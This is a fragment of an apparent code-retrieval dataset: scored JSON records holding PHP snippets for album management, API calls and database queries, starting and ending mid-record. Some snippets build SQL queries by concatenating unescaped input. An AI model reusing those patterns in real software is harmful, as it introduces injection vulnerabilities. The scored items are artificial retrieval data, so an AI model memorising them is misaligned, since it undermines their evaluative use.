$this->client->apiRequest('GET', 'user/me/albums');\n }", "title": "" }, { "docid": "0cd58fca63f1627d28a1cb687a304bdd", "score": "0.49096665", "text": "public function getAlbum();", "title": "" }, { "docid": "888e42eb07e18cc60e53ffe85958dacd", "score": "0.48900127", "text": "public static function get_gracenote_album($data)\n\t{\n\t\treturn $data[\"RESPONSE\"][\"ALBUM\"][\"TITLE\"];\n\t}", "title": "" }, { "docid": "f02b3e5ec69dfec9891c0937a50b810a", "score": "0.4864871", "text": "public function mapSingleAlbumSong( array $a = array() ){\r\n\t\tif($a){\r\n\t\t\t$songId=(int)$a['songId'];\r\n\t\t\t$albumId=(int)$a['albumId'];\r\n\t\t\t\r\n\t\t\tif( $songId > 0 && $albumId > 0 ){\r\n\t\t\t\t$this->sSql = \"INSERT IGNORE INTO song_album (`song_id`,`album_id`) VALUES ('\".$songId.\"',\".$albumId.\")\";\r\n\t\t\t\t$res = $this->oMysqli->query($this->sSql);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "4520843f019497ae345dc4a8da58626b", "score": "0.4840333", "text": "public function getAlbum(): Album\n {\n return $this->album;\n }", "title": "" }, { "docid": "491945065e4fc5929502135946e15aa3", "score": "0.47791898", "text": "function getAlbumName() {\n\t\treturn $this->albumName;\n\t}", "title": "" }, { "docid": "1b247ede072398f86af9706c093da477", "score": "0.47759596", "text": "public function initAlbum(AlbumEntity $entity)\n {\n $listEntries = $this->listEntriesHelper->getEntries('album', 'albumAccess');\n foreach ($listEntries as $listEntry) {\n if (true === $listEntry['default']) {\n $entity->setAlbumAccess($listEntry['value']);\n break;\n }\n }\n\n return $entity;\n }", "title": "" }, { "docid": "3b977ad3903aff6d0f3f81972c723ded", "score": "0.47619528", "text": "public function testCreateAlbum()\n {\n $response = $this->post('/api/v1/albums', [\n 'album' => [\n 'name' => 'My album','come' => 'kd'\n ]\n ]);\n\n $response->assertStatus(201);\n $response->assertJsonStructure(['msg', 'data' ]);\n }", "title": "" }, { "docid": "2116b8247166e4201cdef7690ed6b51a", "score": "0.475424", "text": "public static function getAlbumRepository() \n {\n $serviceManager = ServiceUtil::getManager();\n $entityManager = $serviceManager->getService('doctrine.entitymanager');\n $repository = $entityManager->getRepository('MUSound_Entity_Album');\n\n return $repository;\n }", "title": "" }, { "docid": "d2ac64b21ce071fb0c0d743e409d3419", "score": "0.47469905", "text": "function movePhotoToAlbum( $userId, $albumId, $photoList = array() ) {\n //#TODO: rewrite this mess to be much more efficient\n $userId = $this->sql->escapeString( $userId );\n $albumId = $this->sql->escapeString( $albumId );\n $photoIds = $this->sql->implodeArrayToSql( $photoList );\n $qUpdatePhoto = \"UPDATE `photos` SET `albumId`={$albumId} WHERE `photoId` in ({$photoIds}) AND `userId`='{$userId}'\";\n $this->sql->query( $qUpdatePhoto );\n $this->sql->commit();\n\n return $photoList;\n }", "title": "" }, { "docid": "f5192c5067944e03fa56af14258f7be6", "score": "0.4735361", "text": "public function getCoverAlbum ();", "title": "" }, { "docid": "eda71c0f289b8997bef187085a533bb1", "score": "0.4714981", "text": "public function moveImageToAlbum(int $albumId, int $imageId)\n {\n try {\n $photo = PhotosModel::find($imageId);\n $currentAlbumId = $photo->album_id;\n\n if ($this->isAlbumCover($currentAlbumId, $imageId)) {\n return ['response' => 'You cannot move this album as it is the album cover.'];\n }\n\n $photo->album_id = $albumId;\n $photo->save();\n\n return ['response' => 'The image has been moved successfully. Refresh the page to see your changes.'];\n\n } catch (Exception $e) {\n return $e->getMessage();\n }\n }", "title": "" }, { "docid": "f38d225189e2511715cc959789567592", "score": "0.47079757", "text": "public function albums(string $username = 'me', int $page = 0): array\n {\n return $this->requestGet(\"account/{$username}/albums/{$page}\");\n }", "title": "" }, { "docid": "22def846544a910a3b11acb6df8d5712", "score": "0.4707011", "text": "public function testUpdateAlbum() {\n $album = factory(Album::class)->create();\n\n $data = [\n 'name' => 'Secret Signal'\n ];\n\n $albumRepository = new AlbumRepository($album);\n $updated = $albumRepository->updateAlbum($data);\n $foundedAlbum = $albumRepository->findAlbumById($album->id);\n\n $this->assertTrue($updated);\n $this->assertEquals($data['name'], $foundedAlbum->name);\n }", "title": "" }, { "docid": "59380bc4fc6aa60eb9238361106d609f", "score": "0.46947658", "text": "public function addAlbumToLibrary($albumId)\n {\n if (empty($albumId)) {\n throw new DeezerAPIException('Album library: invalid albumId');\n }\n\n return $this->client->apiRequest('POST', 'user/me/albums', [], sprintf('album_id=%s', $albumId));\n }", "title": "" }, { "docid": "61b14430f29349eb429207434935e709", "score": "0.4675378", "text": "public function search_integration_album($keyword, $offset=0, $limit=10){\n $fields = array( \n 'keyword' => $keyword,\n 'offset' => $offset,\n 'limit' => $limit\n );\n \n curl_setopt($this->curl, CURLOPT_COOKIEFILE, time() . $this->_cookie_file);\n curl_setopt($this->curl, CURLOPT_POST, 0);\n curl_setopt($this->curl, CURLOPT_URL, $this->mapiUrl . 'search/integration/album?'. http_build_query($fields));\n curl_setopt($this->curl, CURLOPT_RETURNTRANSFER, 1);\n \n $data = json_decode(curl_exec($this->curl));\n\t \n if(isset($data->code) AND $data->code==$this->auth_req_code){\n if (isset($data->message)){\n $this->whichAuthenticate($data->message);\n return $this->search_integration_album($keyword, $offset, $limit);\n }\n }\n \n return $data;\n }", "title": "" }, { "docid": "1410a18a8254b85b6e15721405173354", "score": "0.465902", "text": "public function getAlbumById()\r\n {\r\n }", "title": "" }, { "docid": "78ed5464cbb11908d4fe92b6420aac0e", "score": "0.46429667", "text": "private function getAlbumId($albumName) {\n\t\t$sql = \"SELECT gal_Field_ID \";\n\t\t$sql .= \"FROM album \";\n\t\t$sql .= 'WHERE Album_Name = \"' . $albumName . '\"';\n\t\n\t\t$query = Database::executeQuery($sql);\n\t\twhile ($album = mysqli_fetch_array($query)) {\n\t\n\t\t\t$id = $album['gal_Field_ID'];\n\n\t\t}\n\t\treturn $id;\n\t}", "title": "" }, { "docid": "4f81010d0a1494dc27d3c322cd71c74e", "score": "0.46377122", "text": "public function setOwnerId(int $value): GetAlbumById\n {\n $this->ownerId = $value;\n return $this;\n }", "title": "" }, { "docid": "b7b20d1e224fea29991e81fc8a087b66", "score": "0.46231902", "text": "public function getAlbums()\n\t{\n\t\t$params = &JComponentHelper::getParams('com_jvimeo');\n\t\t$vimeo = new VimeoHelper(\n\t\t\t\t$params->get('consumer_key'),\n\t\t\t\t$params->get('consumer_secret'),\n\t\t\t\t$params->get('access_token'),\n\t\t\t\t$params->get('access_token_secret')\n\t\t);\n\t\t$albums = $vimeo->call('vimeo.albums.getAll', array('user_id' => $params->get('user_id')));\n\t\treturn $albums;\n\t}", "title": "" }, { "docid": "bf0b1f247d5b4dcae8edbbbf56f6f0e2", "score": "0.4581956", "text": "public function getMediaAlbums(){\n\t\t$query = \"SELECT * FROM mediaalbums where albumParent=0\"; //\n\t\t$dbcontroller = new DBController();\n\t\t$this->mediaalbums = $dbcontroller->executeSelectQuery($query);\n\t\treturn $this->mediaalbums;\n }", "title": "" }, { "docid": "8da2bebe577127f12413997cd82a00a0", "score": "0.45785788", "text": "function setAlbumName($albumName) {\n\t\t$this->albumName = $albumName;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "e323f80cee86a6bb206516fbd3501219", "score": "0.4561739", "text": "public function testCreateAlbum() {\n $data = [\n 'name' => 'Đợi',\n 'alias' => 'doi',\n 'coverImage' => 'https://example.com/albums/nah-doi.jpg',\n 'artist_id' => 1\n ];\n\n $artist = factory(Artist::class)->create();\n\n $albumRepository = new AlbumRepository(new Album);\n $album = $albumRepository->createAlbum($data);\n\n $this->assertInstanceOf(Album::class, $album);\n $this->assertEquals($data['name'], $album->name);\n $this->assertEquals($data['alias'], $album->alias);\n $this->assertEquals($data['coverImage'], $album->coverImage);\n $this->assertEquals($data['artist_id'], $album->artist_id);\n }", "title": "" }, { "docid": "59854aa188744d12b331f4cb20f80d46", "score": "0.455705", "text": "public function getAlbums()\n {\n return $this->albums;\n }", "title": "" }, { "docid": "ba02e72848e4110220976bb3e0bc6096", "score": "0.45549318", "text": "public function getAlbums($page, $limit = 25) {\r\n if (!$return = $this->Memcached->fetch(sprintf(\"railpage:gallery.old.album=%d.subalbums.page=%d.perpage=%d\", $this->id, $page, $limit))) {\r\n $Sphinx = $this->getSphinx(); \r\n \r\n $query = $Sphinx->select(\"*\")\r\n ->from(\"idx_gallery_album\")\r\n ->where(\"parent_id\", \"=\", $this->id)\r\n ->orderBy(\"album_title\", \"ASC\")\r\n ->limit(($page - 1) * $limit, $limit);\r\n \r\n $matches = $query->execute(); \r\n \r\n $meta = $Sphinx->query(\"SHOW META\");\r\n $meta = $meta->execute();\r\n \r\n foreach ($matches as $id => $row) {\r\n $row['album_meta'] = json_decode($row['album_meta'], true);\r\n \r\n $matches[$id] = $row;\r\n }\r\n \r\n $return = array(\r\n \"total\" => $meta[1]['Value'],\r\n \"page\" => $page,\r\n \"perpage\" => $limit,\r\n \"albums\" => $matches\r\n );\r\n \r\n $this->Memcached->save(sprintf(\"railpage:gallery.old.album=%d.subalbums.page=%d.perpage=%d\", $this->id, $page, $limit), $return);\r\n }\r\n \r\n return $return;\r\n }", "title": "" }, { "docid": "4ad4647683a4a715c0d0d36338a3d7cd", "score": "0.45527428", "text": "public function album($album_id = NULL) {\n $album = Album::find($album_id);\n if (!$album) {\n return '';\n }\n\n $this->model = $album;\n $this->addJs('/modules/backend/behaviors/reordercontroller/assets/js/october.reorder.js', 'core');\n\n $this->pageTitle = Lang::get('graker.photoalbums::lang.plugin.reorder_title', ['name' => $album->title]);\n\n return $this->makePartial('reorder', ['reorderRecords' => $this->model->photos,]);\n }", "title": "" }, { "docid": "1194e3deb58223fce321d37a39caceac", "score": "0.45410666", "text": "public function getAlbumName($album)\n {\n\n $name = explode('/', $album);\n $c = count($name) - 1;\n $album = $name[$c];\n return $album;\n\n }", "title": "" }, { "docid": "49dc5fe6034d830e877d080f747e525d", "score": "0.4536235", "text": "public function getAlbumData();", "title": "" }, { "docid": "2e62bf98310b0cc080cce0a0dd52d08c", "score": "0.45357707", "text": "public function getAlbumImageCount($album_id){\n $result = $this->facebook->api('/'.$album_id.'/?fields=count','get');\n return $result['count'];\n }", "title": "" }, { "docid": "17ce0fec23951b0af9d1c9068eb91028", "score": "0.45014277", "text": "public function user_albums($userId, $offset=0, $limit=10){\n $fields = array(\n 'offset' => $offset,\n 'limit' => $limit\n );\n \n curl_setopt($this->curl, CURLOPT_COOKIEFILE, time() . $this->_cookie_file);\n curl_setopt($this->curl, CURLOPT_POST, 0);\n //curl_setopt($this->curl, CURLOPT_POSTFIELDS, $post_fields);\n curl_setopt($this->curl, CURLOPT_URL, $this->mapiUrl . $userId. '/albums?'. http_build_query($fields));\n curl_setopt($this->curl, CURLOPT_RETURNTRANSFER, 1);\n \n $data = json_decode(curl_exec($this->curl));\n\t \n if(isset($data->code) AND $data->code==$this->auth_req_code){\n if (isset($data->message)){\n $this->whichAuthenticate($data->message);\n return $this->user_albums($userId, $offset, $limit);\n }\n }\n \n return $data;\n }", "title": "" }, { "docid": "49efd232f4aed348bebc4bfd74aba8b5", "score": "0.44940764", "text": "function getAlbumPath() {\n\t\treturn $this->albumPath;\n\t}", "title": "" }, { "docid": "7fd53c318350868ee3943c244deb5414", "score": "0.44898182", "text": "private function updateAlbums($albumIds, $photoId, $photoBefore = array())\n {\n $albumsArr = $albumIds;\n if(!is_array($albumIds))\n $albumsArr = (array)explode(',', $albumIds);\n\n if(!isset($photoBefore['albums']))\n $photoBefore['albums'] = array();\n $albumsToRemove = array_diff($photoBefore['albums'], $albumsArr);\n $albumsToAdd = array_diff($albumsArr, $photoBefore['albums']);\n if(!empty($albumsToRemove))\n {\n foreach($albumsToRemove as $aId)\n {\n if(!empty($aId))\n $this->api->invoke(\"/album/{$aId}/photo/remove.json\", EpiRoute::httpPost, array('_POST' => array('ids' => $photoId)));\n }\n }\n if(!empty($albumsToAdd))\n {\n foreach($albumsToAdd as $aId)\n {\n if(!empty($aId))\n $this->api->invoke(\"/album/{$aId}/photo/add.json\", EpiRoute::httpPost, array('_POST' => array('ids' => $photoId)));\n }\n }\n }", "title": "" }, { "docid": "69227c88f67a0d62208c9c2a56c2c071", "score": "0.4488736", "text": "public function gallery_update_user_albums( $album )\n {\n \t$where = '';\n \t$tmp = str_replace( array( '.', ':' ), '', $this->member->ip_address );\n \t\n \tif ( isset( $album['album_node_left'] ) AND isset( $album['album_node_right'] ) )\n \t{\n \t\t$where = '(g.album_node_left >= ' . intval( $album['album_node_left'] ) . ' AND g.album_node_right <= ' . intval( $album['album_node_right'] ) . ')';\n \t}\n \telse\n \t{\n \t\t$where = \"1=1\";\n \t}\n \t\n \t/* Got a process running? */\n \t$count = $this->DB->buildAndFetch( array( 'select' => 'count(*) AS cnt', 'from' => 'gallery_albums_temp' ) );\n \t\n \tif ( $count['cnt'] > 0 )\n \t{\n \t\treturn false;\n \t}\n \t\n \t/* Need to essentially UPDATE FROM with ORDER but MySQL cannot do this. */\n \t$this->DB->allow_sub_select = true;\n \t$this->DB->query( \"INSERT INTO \" . $this->tbl . \"gallery_albums_temp (album_id, album_g_perms_view) SELECT g.album_id, g.album_g_perms_view FROM \" . $this->tbl . \"gallery_albums_main g WHERE g.album_parent_id > 0 AND g.album_is_global=0 AND g.album_is_public=1 AND \" . $where );\n \t\n \t$this->DB->allow_sub_select = true;\n \t$this->DB->query( \"UPDATE \" . $this->tbl . \"gallery_albums_temp xxx\n \t\t\t\t\t\tSET xxx.album_g_perms_view=\n\t\t\t\t\t\t\t\t(SELECT aaa.album_g_perms_view \n\t\t\t\t\t\t\t\t\t\tFROM \" . $this->tbl . \"gallery_albums_main aaa, \" . $this->tbl . \"gallery_albums_main bbb\n\t\t\t\t\t\t\t\t\t\tWHERE bbb.album_id=xxx.album_id AND bbb.album_node_left BETWEEN aaa.album_node_left AND aaa.album_node_right AND aaa.album_is_global=1\n\t\t\t\t\t\t\t\t\t\tORDER BY aaa.album_node_left ASC LIMIT 1);\");\n \t\n \t$this->DB->allow_sub_select = true;\n \t$this->DB->query( \"UPDATE \" . $this->tbl . \"gallery_albums_main g, \" . $this->tbl . \"gallery_albums_temp xxx SET g.album_g_perms_view=xxx.album_g_perms_view WHERE g.album_id=xxx.album_id\" );\n \t\n \t$query = \"DELETE FROM \" . $this->tbl . \"gallery_albums_temp\";\n \t\n \treturn $query;\n\t}", "title": "" }, { "docid": "0620a88ab6f4e0239364a98d5621ecef", "score": "0.44749138", "text": "public function getAlbum()\n {\n return $this->hasOne(AlbumPhoto::className(), ['id_album' => 'id_album']);\n }", "title": "" }, { "docid": "14f144202c7b9e3a0385817776f62d3c", "score": "0.44728303", "text": "public function getAlbums()\n\t{\n\t\t// Check for request forgeries\n\t\tFoundry::checkToken();\n\n\t\t// Get the current view.\n\t\t$view \t= $this->getCurrentView();\n\n\t\t// Sort items\n\t\t$ordering \t= JRequest::getCmd( 'sort' , 'created' );\n\n\t\t// Get a list of normal albums\n\t\t$options \t\t\t\t= array();\n\t\t$options['pagination']\t= true;\n\t\t$options['order'] \t\t= 'a.assigned_date';\n\t\t$options['direction'] \t= 'DESC';\n\t\t$options[ 'core' ]\t\t= false;\n\n\t\tif( $ordering == 'alphabetical' )\n\t\t{\n\t\t\t$options[ 'order' ]\t\t= 'a.title';\n\t\t\t$options[ 'direction' ]\t= 'ASC';\n\t\t}\n\n\t\tif( $ordering == 'popular' )\n\t\t{\n\t\t\t$options[ 'order' ]\t\t= 'a.hits';\n\t\t\t$options[ 'direction' ]\t= 'DESC';\n\t\t}\n\n\t\t$model \t= Foundry::model( 'Albums' );\n\t\t$albums = $model->getAlbums( '' , SOCIAL_TYPE_USER , $options );\n\n\t\t$pagination \t= $model->getPagination();\n\t\t$pagination->setVar( 'view'\t, 'albums' );\n\t\t$pagination->setVar( 'layout' , 'all' );\n\t\t$pagination->setVar( 'ordering' , $ordering );\n\n\t\treturn $view->call( __FUNCTION__, $albums , $pagination );\n\t}", "title": "" }, { "docid": "9add1b0f4c96a32b440e78de322dfbb5", "score": "0.447058", "text": "public function addAlbum()\n {\n // if we have POST data to create a new Album\n if (isset($_POST[\"submit_add_album\"])) {\n // load model, perform an action on the model\n $album_model = $this->loadModel('AlbumModel');\n $album_model->addAlbum($_POST[\"id\"], $_POST[\"name\"]);\n }\n\n // where to go after album has been added\n header('location: ' . URL . 'album/index');\n }", "title": "" }, { "docid": "3f7fdbdef6406eafe95a4234ee3a2e79", "score": "0.44681832", "text": "public function albumDelete(string $albumId, string $username = 'me'): bool\n {\n return $this->requestDelete(\"account/{$username}/album/{$albumId}\");\n }", "title": "" }, { "docid": "6f9512f98f0204e6761740e970572b57", "score": "0.44592145", "text": "public function getSongInAlbum($item_id = null)\n {\n phpFox::getLib('phpfox.database')->query('SET character_set_results=utf8 '); \n $songs = phpFox::getLib('phpfox.database')->select('*')\n ->from(phpFox::getT('m2bmusic_album_song'))\n ->where('album_id = '.$item_id)\n ->execute('getRows');\n return $songs;\n \n }", "title": "" }, { "docid": "aa0d1c120f5a2c1a9aea847f65944d73", "score": "0.44546828", "text": "public function getPagePhotosOrder($album_id, $page_id) {\n\n $currentOrder = $this->select()\n ->from($this->info('name'), 'photo_id')\n ->where('collection_id = ?', $album_id)\n ->where('page_id = ?', $page_id)\n ->order('order ASC')\n ->query()\n ->fetchAll(Zend_Db::FETCH_COLUMN);\n\n return $currentOrder;\n }", "title": "" }, { "docid": "5c42ebc34551d8ed9df71b79a9fbc1ae", "score": "0.44501594", "text": "public static function insertTracksFromAlbum($album_id, $artista, $album)\n\t{\n\t\t$url = \"http://ws.audioscrobbler.com/2.0/?method=album.getinfo&api_key=\".env('API_KEY').\"&artist=\".$artista.\"&album=\".$album.\"&format=json\";\n\t\t$json = file_get_contents($url);\n\t\t$obj = json_decode($json);\n\n\t\tforeach ($obj->album->tracks->track as $value) {\n\n\t\t\t$novaSong = new Song();\n\t\t\t$novaSong->albums_id = $album_id;\n\t\t\t$novaSong->titulo = $value->name;\n\t\t\t$novaSong->faixa = $value->{'@attr'}->rank;\n\t\t\t$novaSong->lastFm_url = $value->url;\n\n\t\t\t//obter o youtube id\n\t\t\t$html = file_get_contents($value->url);\n\n\t\t\t$doc = new \\DOMDocument();\n\t\t\t@$doc->loadHTML($html);\n\n\t\t\t$classname=\"image-overlay-playlink-link\";\n\t\t\t$finder = new \\DomXPath($doc);\n\t\t\t$spaner = $finder->query(\"//*[contains(@class, '$classname')]\");\n\n\t\t\t//$tags = $doc->getElementsByTagName('a.image-overlay-playlink-link');\n\t\t\tforeach ($spaner as $tag) {\n\t\t\t\t $novaSong->youtube_id = $tag->getAttribute('data-youtube-id');\n\t\t\t\t break;\n\t\t\t}\n\n\n\t\t\t$novaSong->save();\n\n\t\t}\n\t}", "title": "" }, { "docid": "2435105f7408883d410ee2928c9c314e", "score": "0.44409275", "text": "public function update(Album $album, array $input)\n\t{\n\t\t$album->artists()->detach();\n\t\t$this->attachArtists($album, $input['artists']);\n\n\t\t$album->title = $input['title'];\n\t\t$album->description = $input['description'];\n\t\t$album->type = $input['type'];\n\n\t\t// Detach Previous Category\n\t\t$album->category()->dissociate();\n\t\t// Detach Previous Genres\n\t\t$album->genre()->dissociate();\n\t\t// Create and Attach Genres & Category\n\t\t$this->attachCategoryAndGenre($album, $input)->save();\n\t\t// Set Album Slug \n\t\t$this->setSlug($album);\n\n\t\tevent(new AlbumUpdated($album));\n\n\t\tif ($album->tracks->count() > 1) {\n\t\t\t$tracks = $album->tracks;\n\t\t\t$tracks->each(function($track) {\n\t\t\t\t// TODO: Queue this part...\n\t\t\t\t$this->tracks->setFileTags($track);\n\t\t\t\t$this->cache->clear('tracks', $track->id);\n\t\t\t});\n\t\t}\n\n\t\treturn $album;\n\t}", "title": "" }, { "docid": "263c750d55bedd0a2a6908c3699c267b", "score": "0.44393682", "text": "public function destroy(Album $album)\n {\n if (!auth()->check() || auth()->user()->permisos != 0) {\n return redirect()->action([InicioController::class, 'index']);\n }\n try {\n if($album->id == 1){\n return redirect()->route('admins.index', 'tabla=album')->with(\"error\", \"Error al actualizar el album, el default no se puede modificar\");\n }\n if (basename($album->portada) != \"default.png\") {\n unlink($album->portada);\n }\n $album->delete();\n $musicDefault = Music::whereNull('album_id')->get();\n foreach($musicDefault as $item){\n $item->album_id = \"1\";\n $item->update();\n }\n\n return redirect()->route('admins.index', 'tabla=album')->with(\"mensaje\", \"Album borrado correctamente\");\n } catch (\\Exception $ex) {\n return redirect()->route('admins.index', 'tabla=album')->with(\"error\", \"Error al borrar el album \" . $ex->getMessage());\n }\n }", "title": "" }, { "docid": "42ec75b1af2cfa8eeda335560e75d75e", "score": "0.44339636", "text": "function getTotalAlbum()\r\n\t{\r\n\t\t$db \t= JFactory::getDBO();\r\n\t\t$query \t= $db->getQuery(true);\r\n\t\t$query->clear()\r\n\t\t\t\t->select('*')\r\n\t\t\t\t->from('#__simplephotogallery_album')\r\n\t\t\t\t->where($db->quotename('published') . ' = ' . $db->quote('1'));\r\n $db->setQuery($query);\r\n $settings \t= $db->loadRow();\r\n return $settings;\r\n\t}", "title": "" }, { "docid": "87f732a999dbadce86caed8eba7d6279", "score": "0.44254664", "text": "public function update(Album $album)\r\n {\r\n\r\n $data = [\r\n 'artista' => $album->artista,\r\n 'titulo' => $album->titulo,\r\n 'genero' => $album->genero, \r\n 'ano' => $album->ano,\r\n ];\r\n\r\n $id = (int) $album->id;\r\n if ($this->getAlbum($id)) {\r\n $this->tableGateway->update($data, array('id' => $id));\r\n } else {\r\n throw new Exception(\"Album #{$id} inexistente\");\r\n }\r\n }", "title": "" }, { "docid": "64c23d60bba55839385d3806866f8f72", "score": "0.4408509", "text": "public function createAlbum(){\n $album_name = \"nbcz_album_\".md5(microtime()).rand(); //a unique albumname\n $privacy = array(\n 'value'=>'SELF'\n );\n $album = array(\n 'message'=>$album_name,\n 'name'=>$album_name,\n 'privacy'=>$privacy\n );\n $result = $this->facebook->api('/me/albums','post',$album);\n return $result['id'];\n }", "title": "" }, { "docid": "e6bbbee0b205d9c117a53eb48769448e", "score": "0.43908823", "text": "public function getAlbumTracks($albumId)\n {\n if (empty($albumId)) {\n throw new DeezerAPIException('Get album tracks: invalid albumId');\n }\n\n return $this->client->apiRequest('GET', 'album/'.$albumId.'/tracks');\n }", "title": "" }, { "docid": "c28afa0fdb77afee92bf75de5f28138b", "score": "0.43908015", "text": "public static function getAlbums($count, $offset = null)\n {\n return VK::send('video.getAlbums', [\n 'owner_id' => '-' . G_ID,\n 'count' => $count,\n 'offset' => $offset\n ], T_USR);\n }", "title": "" }, { "docid": "bdb341ac157323b5e59868eaaa2ea302", "score": "0.4386884", "text": "public function getArray() {\r\n \r\n $album = array(\r\n \"id\" => $this->id,\r\n \"name\" => $this->name,\r\n \"url\" => $this->url instanceof Url ? $this->url->getUrls() : array(),\r\n \"num_photos\" => $this->meta['fields']['cached_photo_count'],\r\n \"num_albums\" => 0,\r\n \"mckey\" => urlencode($this->mckey)\r\n );\r\n \r\n $AlbumOwner = $this->getOwner();\r\n \r\n if ($AlbumOwner instanceof User) {\r\n $album['owner'] = array(\r\n \"id\" => $AlbumOwner->id,\r\n \"username\" => $AlbumOwner->username,\r\n \"url\" => $AlbumOwner->url->getUrls(),\r\n \"avatar\" => array(\r\n \"small\" => format_avatar($AlbumOwner->avatar, 40),\r\n \"large\" => format_avatar($AlbumOwner->avatar, 120)\r\n )\r\n );\r\n }\r\n \r\n return $album;\r\n \r\n }", "title": "" }, { "docid": "dab7dee81dd908e3d8a2d2003da9e12a", "score": "0.4380562", "text": "public function getAllAlbums()\n {\n return AlbumsModel::all();\n }", "title": "" }, { "docid": "df0d6aee0b479eaa4f36d9a540cbc8c8", "score": "0.43768921", "text": "public function __construct(string $albumName)\n {\n $this->albumName = $albumName;\n }", "title": "" }, { "docid": "33ec776c79870db24fa7972df557eb11", "score": "0.4376535", "text": "public function uploadPhoto($album_id,$pic){\n $photo = array(\n 'message'=>\"nbcz_photo_\".md5(microtime()).rand()\n ); \n//lazy...easy..\n $photo['image'] = '@'.realpath($pic);\n $result = $facebook->api('/'.$album_id.'/photos', 'post', $photo);\n return $result['id'];\n }", "title": "" }, { "docid": "69d639c728bcee8e9b93cb20abb0f6d2", "score": "0.43563655", "text": "public function albumCount(string $username = 'me'): int\n {\n return $this->requestGet(\"account/{$username}/albums/count\");\n }", "title": "" }, { "docid": "e46c71d883affa524bb8706cc8774928", "score": "0.43555313", "text": "protected function convertAlbumToImage($album)\n {\n // create image\n $image = new PicasaImage($album->getImageUrl($this->googlephotos_overview_thumb_size, true), $album->getTitle(), $this->googlephotos_overview_thumb_size, $this->googlephotos_overview_thumb_size, 0);\n $image->setLink($this->addToUrl('album=' . $album->getId()));\n $image->setTitle($album->getTitle());\n $image->setCaption(date($GLOBALS['TL_CONFIG']['dateFormat'], $album->getTimestamp()) . ' / ' . $album->getNumPhotos() . ' Photos');\n\n // set image\n return $image;\n }", "title": "" }, { "docid": "ac8731aec906caf0fcf825d4da767006", "score": "0.43451276", "text": "public function Album($id=1) {\n\t$this->template->header->active = \"Browse Photos\";\n\t$this->template->content = new View('show_album');\n\n\t$item = ORM::factory('Item', $id);\n\n\t$this->template->content->item = $item;\n\t$this->template->content->maxRows = 3;\n\t$this->template->content->maxColumns = 3;\n\t$this->template->content->children = $item->children;\n\n\t$gallery = Gallery::instance();\n\t$albumPath = $gallery->albums . '/';\n\tif (!empty($item->Path)) {\n\t $albumPath .= $item->Path . '/';\n\t}\n\t$this->template->content->albumPath = $albumPath;\n }", "title": "" }, { "docid": "86e929109c117e6bc65811832811ae6f", "score": "0.4342265", "text": "public function fetchAlbum()\n {\n /**\n * The strategy is, trying to fetch the best first. If we do not find a\n * cover on Amazon, we're iterating through all the next positions and\n * using the first complete combination.\n */\n $album = $this->_audioscrobbler->getTopAlbumPerWeek();\n try {\n $image = $this->_fetchAlbumImage($album->artist, $album->name);\n return $this->_createAlbum($album->artist, $album->name, $image, $album->url);\n } catch (Exception $exception) {\n foreach ($this->_audioscrobbler->getTopAlbumsPerWeek() as $album) {\n try {\n $image = $this->_fetchAlbumImage($album->artist, $album->name);\n return $this->_createAlbum($album->artist, $album->name, $image, $album->url);\n // Go to the next result\n } catch (Exception $exception) {\n error_log($exception->getMessage());\n }\n }\n return false;\n }\n }", "title": "" }, { "docid": "126aa486e37454b0123abbe38d5169c8", "score": "0.43224418", "text": "private function displayAlbumPage()\n {\n global $template, $user;\n\n GPCCore::addUI('categorySelector');\n GPCCore::addHeaderJS('amm.ac', 'plugins/AMenuManager/js/amm_albumConfig.js', array('jquery','gpc.categorySelector'));\n\n $template->set_filename('body_page',\n dirname($this->getFileLocation()).'/admin/amm_album.tpl');\n\n $datas=array(\n 'albums' => json_encode($this->config['amm_albums_to_menu'])\n );\n\n $template->assign(\"datas\", $datas);\n\n $template->assign_var_from_handle('AMM_BODY_PAGE', 'body_page');\n $template->assign('pageNfo', l10n('g002_album_nfo'));\n }", "title": "" }, { "docid": "7aa0d42e2bbf77c383dec5898bf29ba6", "score": "0.4322047", "text": "private function processImage(ImageAlbum $album, UploadedFile $image, $index, $caption)\n {\n $filename = Image::process($image, [1920, 1080], \"albums/{$album->id}\", $index);\n\n $album->attach(\n $filename,\n [\n 'key' => $index,\n 'title' => $caption\n ]\n );\n\n return $album;\n }", "title": "" }, { "docid": "6c1072b033bb0c8b00f1b3bf42f22c3c", "score": "0.43078083", "text": "public function albumImages ($start=-1, $max = 0, $order = 'ASC');", "title": "" }, { "docid": "a244c1cec5a14fca22bd9d02b13c9617", "score": "0.43036786", "text": "public function insert(Album $item) {\n $query = \"INSERT INTO $this->tableName\n VALUES(null, '\".$this->dbManager->escapeString($item->Title).\"', '\".$this->dbManager->escapeString($item->Description).\"', '\".$this->dbManager->escapeString($item->Date_Updated).\"', '\".$this->dbManager->escapeString($item->Owner_Id).\"', '\".$this->dbManager->escapeString($item->Accessibility_Code).\"')\";\n return $this->dbManager->queryCustom($query);\n }", "title": "" }, { "docid": "cac438f66986aff80407da4bb1354ba9", "score": "0.42959827", "text": "public function getAlbumPhotoCount($album_id) {\n\t\t$album_id = intval($album_id);\n\t\t$rs = $this->query(\"SELECT photo_count FROM $this->table_counts WHERE id=$album_id\");\n\t\tif ($rs->num_rows == 0) return 0;\n\t\t$ro = $rs->fetch_row();\n\t\treturn intval($ro[0]);\n\t}", "title": "" }, { "docid": "b8a9e3d2a78316b5d2cc17de0e5cf51a", "score": "0.42752635", "text": "public function getAlbumSongMap( array $a = array() ){\r\n\t\tif($a){\r\n\t\t\t$where=\"\";\r\n\t\t\tif($a['where']){\r\n\t\t\t\t$where=$a['where'];\r\n\t\t\t}\r\n\t\t\t\t$this->sSql = \"SELECT * FROM song_album WHERE 1 $where\";\r\n\t\t\t\treturn $res = $this->oMysqli->query($this->sSql);\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "9878882b734a6f26b87f08f8cb22a3ad", "score": "0.4261888", "text": "public function filterByAlbumId($albumId = null, $comparison = null)\n {\n if (is_array($albumId)) {\n $useMinMax = false;\n if (isset($albumId['min'])) {\n $this->addUsingAlias(TrackPeer::ALBUM_ID, $albumId['min'], Criteria::GREATER_EQUAL);\n $useMinMax = true;\n }\n if (isset($albumId['max'])) {\n $this->addUsingAlias(TrackPeer::ALBUM_ID, $albumId['max'], Criteria::LESS_EQUAL);\n $useMinMax = true;\n }\n if ($useMinMax) {\n return $this;\n }\n if (null === $comparison) {\n $comparison = Criteria::IN;\n }\n }\n\n return $this->addUsingAlias(TrackPeer::ALBUM_ID, $albumId, $comparison);\n }", "title": "" }, { "docid": "34bbbd125ed925c59d0fd72311060586", "score": 